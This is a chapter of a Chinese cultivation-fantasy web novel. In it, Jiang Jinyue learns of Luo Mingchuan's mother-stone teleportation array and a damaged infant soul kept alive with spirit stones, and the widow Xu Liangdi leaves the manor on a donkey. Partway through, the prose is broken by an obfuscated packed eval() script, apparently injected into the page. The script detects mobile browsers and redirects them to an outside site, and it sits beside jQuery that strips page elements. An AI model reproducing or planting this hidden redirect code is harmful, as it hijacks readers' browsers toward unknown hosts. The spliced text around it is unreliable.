23. 子母缩地阵

寰宇塔,地下。


再次来到这个堪比祭坛的地方,江浸月的心中很是平静。


地上的铁链和蜡烛已经消失,墙上的壁灯被点燃,火光明亮而温暖。


她和骆明川走到曾作为阵法中心的八卦台上。


骆明川挥动拂尘,八卦台的缝隙中忽然冒气莹篮色的光芒。


他们随之转了一圈,台子忽然下坠。


经过一段漫长的黑色通道后,灯火骤然亮起,一片长宽四丈的空间映入眼帘。


左侧是一个顶棚的书架,正对面有一张案几,紧紧贴着墙面,右边则放着一个罩着黑布的大箱子。


房顶的四角上燃着灯火,地面的角落里则堆满了各种纸张和不明器具。


按理说,这空间虽然不大,但家具摆放也不至于如此拥挤。


只是八卦台占地较大,若要来去自如,则有很大一片空间处都不能放置任何杂物。


他们挤到了桌子边缘,骆明川再度启动阵法,四道莹蓝色的光芒在那八卦盘的边缘亮起。


八卦盘浮空着升了上去。


自从进到这个房间后,江浸月的眼睛就没怎么从那黑箱上移开。


似乎笃定了她要的人就在那里面。


黑布被一把扯下。


眼前的一幕,令江浸月毛骨悚然。


只见一个巨大的琉璃缸中,一个形似大鲵,呈透明肉色的东西浮沉在液体中央。


它由气泡样的白膜包裹着,黑豆似的两点或许可以称之为眼睛。


看着这个十足畸形的小东西,江浸月想起自己被囚困于魔王地下宫的时候。


魔族性嗜杀,生剖妇人肚腹取出婴儿,或啖之,或以为生祭,种种恶行数不胜数。


上一次见到这种还未长成的婴儿,还是在魔都。


“这孩子□□已毁,我特意将它藏在此,以灵石温养其神魂,但这种办法消耗太大,山庄为了打消魔族疑虑,已经停止了灵石开采,大部分矿藏也已尽数被挖空,这已经是我能找到最多的灵石了,大概还能坚持三个月。”


江浸月抬手覆在琉璃上,与那不成型的婴儿隔空遥望。


“要我怎么做?”


“老夫不才,机缘巧合下曾在一上古秘境中学得缩地阵法,早年游历时,曾在许多地方埋下子石,而那母石正是我的本命法器。”


骆明川伸出一指,点在那透明的琉璃缸上,他指尖顿挫有力,灵力凝成如墨渍一般的气,在其上写出了“罗川”二字。


川字的最后一笔划下,琉璃之上,那字汇聚成一个点,又如漩涡一般忽地晕开。


自其中心,奇异的景象慢慢展开。


绿柳垂堤,雀鸟飞跃,远处青石小巷,白墙绿瓦的屋舍鳞次栉比,只是不见一人。


“以母石之力,可穿梭于于子石所在之处,亦可在一定限度内观览其中。”


“竟有如此奇术!”


江浸月惊呼。


如此说来,那不可以轻松打入敌方内部?


骆明川猜到了她心中所想:


“姑娘不必如此心急,老夫的这门术法并非全能,启用时,道行较高的魔族是可以感知到子石所在之处的,这也是我为什么挑了罗川这样一个偏僻的地方施展此术。”


“那,若是被魔族发现了可该怎么办?”


“那就要分情况了,若那魔族是个憨子,直接毁了倒还好了,若是个聪明的,顺藤摸瓜,找到老夫所在之处,也并非难事。”


江浸月激动的心瞬间平复了下来,如此看来,这缩地阵法也只能选在偏僻的小地方。


这让她有些失望,不过也比没有要好。


魔族眼线很可能无处不在,启用此法,穿越千里之外,出其不意,不失为一妙计。


“老夫还没说完呢。”


骆明川知她豪情上涌,却不得不再泼去一盆冷水:


“子石需要一定的灵力才能确保阵门大开,曾经的老夫不过一介散修,身上拮据,故而都只给充了半颗灵石,如今过去许久,灵力随时间损耗,也不知还有几颗能用。”


江浸月叹了一口气,心中不甘:


“那先生同我说这些是?不如直接告诉我该做什么吧。”


“姑娘蕙质兰心,想必一说就通,由于供给的灵石太少,这缸中神魂短时间已经不再成长,所以你要做的第一件事便是通过老夫的缩地阵搜刮灵石。”


“第二件事,这婴孩神魂肉身俱损,若要救她,一养神二塑身,老夫想问一句,姑娘之所以找这个孩子,是因为她是阴年阴月阴日阴时生,并是木火灵根吧?”


江浸月不置可否:


“或许吧,是灯盏选中的她。”


“镜花宗传门之宝,观其形貌,若老夫没猜错,那是一种类似引魂灯的法宝,它选择的灯芯,必然是阴木与阴火,若是如此,为她塑身的最好是极品灵木,亦或是灵草灵花。”


骆明川思索了一番,很快几个名字就浮现在他脑海:


“南海银丝沉木、蓝柏谷翠云草、北地火鹤梅,都是不错的选择。”


“第三件事就是老夫的私人请求了,还请姑娘帮忙照看一下子石,若有闲置的灵石,最好放下一块为其赋能。”


江浸月点了点头,非常爽快地答应了:


“好,什么时候出发?”


需要做的事情十分繁杂,骆明川没想到她答应得如此快,连忙拱手答道:


“能让人通过的阵们,老夫还需要准备一些时日,落脚地的挑选也是个问题,到时老夫会将子石分布的地图交予姑娘抉择。”


除出了寰宇塔,夜还深着。


蝉鸣嘶嘶,凉风拂面。


江浸月走回了院子,她回头打量了一番,故意装作没看到白华一闪而过的衣角。


探听秘密,是需要付出代价的。


她勾唇笑了笑,薄薄的嘴唇在月光的照射下如涂了口脂一般,上面干涸的纹路几近于无。


翌日一早,江浸月刚运行完一个大周天,吐出浊气时,忽见窗外闪过一个人影。


“谁?我不是说过,没有我的命令任何人不得靠近我的房间吗?”


江浸月打开窗户,正要慌忙逃窜的巧喜儿连忙转过身,行了礼。


“夫人,同您一起回来的那个妇人要收拾东西离开了,我想您可能对这件事感兴趣……”


巧喜儿低着头,眼睛却不断偷偷往上描。


江浸月不太喜欢她没有边界的试探,但她说的这件事,她确实很感兴趣……<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662601|172921||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>打开桌上的妆匣,她拿起一只金簪端详了会,后又放回匣子,取出了更朴素一点点银钗。


“你的心思很细腻,耳朵也很灵,下次,我会告诉你该盯着谁的。”


“多、多谢夫人夸奖,奴婢不该擅自揣摩您的想法。”


巧喜儿一时不懂她的意思,正要跪下,被江浸月一把拽住了胳膊:


“我说过,不要跪,你做的很好,拿着。”


银钗被塞进手里,巧喜儿神色一缓,再三确认江浸月的神情后才欢喜地收下:


“多谢夫人。”


将人打发走,江浸月才整理了下仪容出门。


得知许母的位置,她大步走向了院门。


令人意外的是,白华和骆明川竟也在。


短短几天,那个看起来还处于中年的女人就已经长出了白发,脸上的沟壑更深了些,老态已显。


她坐在一头毛驴上,驴背上绑着行囊。


骆明川告诉江浸月,在寰宇塔中,徐良娣身上的魔丹提前消融。


她已经不具备任何威胁,而寿数也只剩下了两个月,庄主便允许她归家。


只是她说自己已经无家可归,向求庄主求来了一头毛驴和一些银粮,想去山庄外的世界看看。


徐良娣,这还是江浸月第一次听到她的名字。


和这个可悲的女人的一生一样,她的名字上也总是附带着对别人期望的影子。


而她也只对其冠以许五六母亲的身份,从未正眼看一看这个貌似懦弱毫无存在感的妇人。


江浸月看四下没有家仆,便走上前去。


“大娘,山庄外……魔族肆虐,鲜少有人烟,您去到外面,或许只能见到魔气蔽日,荒山空村,没有什么好看的。”


不想徐良娣笑了笑,仍然坚持自己的选择:


“魔族再可怕,也没有这个困住我大半辈子的庄子可怕。”


徐良娣望向了天边若隐若现的朝阳,她笑了,眼含热泪。


“我这辈子见过的唯一一个魔族,就是我的阿罗。她杀死了我的儿子,丈夫,但我一点也不怨她,这都是他们应得的报应。


我还要感谢她,谢谢她给了我这颗魔丹,若不是它,我就算活下来也只是个残废。


现在它给我重新站在这片土地上的机会,那我就一定要走,走得越远越好。”


她神情一瞬恍惚,眼神像是穿透天边云霞,望向了唯心可见的远方。


“我要启程了。”


她骑着毛驴,没有再回头看。


远方红日升起,光芒推开稀薄的云雾,落在大地上。


山庄里的夏日清晨总是微凉的。


江浸月拢了拢衣裳,转身离去。


一双褐色的马靴映入她眼帘。


白华穿着和昨日一样的衣裳,只是多了些褶皱,看起来一夜未换的样子。


恐怕是为徐良娣的事忙了许久,又或许也琢磨着她昨夜的可疑行迹。


“东西收拾好了吗?需不需要我叫人帮忙?”


江浸月故意大步走着,看他跟得匆忙,一双眼睛盯在自己身上。


她一个顿步停下,白华险些撞上假石山。


“实在抱歉,我忙着修炼,搬家的事等晌午再说吧。”